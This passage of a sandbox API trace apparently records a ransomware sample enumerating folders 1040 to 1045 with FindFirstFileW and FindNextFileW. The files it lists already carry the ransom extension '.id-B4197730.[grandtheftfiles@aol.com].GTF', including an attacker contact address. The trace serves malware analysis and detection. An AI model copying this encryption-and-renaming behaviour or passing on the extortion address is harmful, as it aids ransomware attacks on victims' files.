	[0153.125] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9edaca42, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9edaca42, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1405cf, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.125] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1405cf, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1405cf, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.125] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa010be4c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.125] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa010be4c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.125] FindClose (in: hFindFile=0x41406d8 | out: hFindFile=0x41406d8) returned 1
	[0153.126] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.126] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1b4a64, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1040", cAlternateFileName="")) returned 1
	[0153.126] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.126] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1b4a64, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140858
	[0153.127] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1b4a64, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.127] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1664af, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1664af, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f18c8c2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.127] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f18c8c2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f18c8c2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f18c8c2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.127] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa00f678e, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.127] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa00f678e, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.127] FindClose (in: hFindFile=0x4140858 | out: hFindFile=0x4140858) returned 1
	[0153.128] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.128] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1fef6a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1041", cAlternateFileName="")) returned 1
	[0153.128] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.128] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1fef6a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140258
	[0153.129] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1fef6a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.129] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f18c8c2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f18c8c2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.129] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1b4a64, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.129] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ff4209b, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ff4209b, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ffda9c5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.130] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ff4209b, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ff4209b, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ffda9c5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.130] FindClose (in: hFindFile=0x4140258 | out: hFindFile=0x4140258) returned 1
	[0153.130] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.130] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f30a005, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1042", cAlternateFileName="")) returned 1
	[0153.130] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.130] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f30a005, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x41407d8
	[0153.131] FindNextFileW (in: hFindFile=0x41407d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f30a005, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.131] FindNextFileW (in: hFindFile=0x41407d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1fef6a, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1fef6a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f2e402b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.131] FindNextFileW (in: hFindFile=0x41407d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f2253b3, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f2253b3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.132] FindNextFileW (in: hFindFile=0x41407d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ffda9c5, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ffda9c5, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa00cc9ba, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.132] FindNextFileW (in: hFindFile=0x41407d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ffda9c5, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ffda9c5, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa00cc9ba, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.132] FindClose (in: hFindFile=0x41407d8 | out: hFindFile=0x41407d8) returned 1
	[0153.132] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.132] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f3a290f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f3a290f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1043", cAlternateFileName="")) returned 1
	[0153.132] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.133] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f3a290f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f3a290f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x41400d8
	[0153.133] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f3a290f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f3a290f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.133] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f30a005, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f30a005, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f35679d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.133] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f330376, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f330376, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f37c8a6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.134] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa017e332, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa017e332, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01a4586, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.134] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa017e332, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa017e332, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01a4586, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.134] FindClose (in: hFindFile=0x41400d8 | out: hFindFile=0x41400d8) returned 1
	[0153.134] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.134] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4615a3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1044", cAlternateFileName="")) returned 1
	[0153.134] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.135] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4615a3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140458
	[0153.135] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4615a3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.135] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f37c8a6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f37c8a6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f43b36b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.135] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f3a290f, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f3a290f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.136] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa010be4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa010be4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01ca9c8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.136] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa010be4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa010be4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01ca9c8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.136] FindClose (in: hFindFile=0x4140458 | out: hFindFile=0x4140458) returned 1
	[0153.136] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.136] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4d3d89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1045", cAlternateFileName="")) returned 1
	[0153.136] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
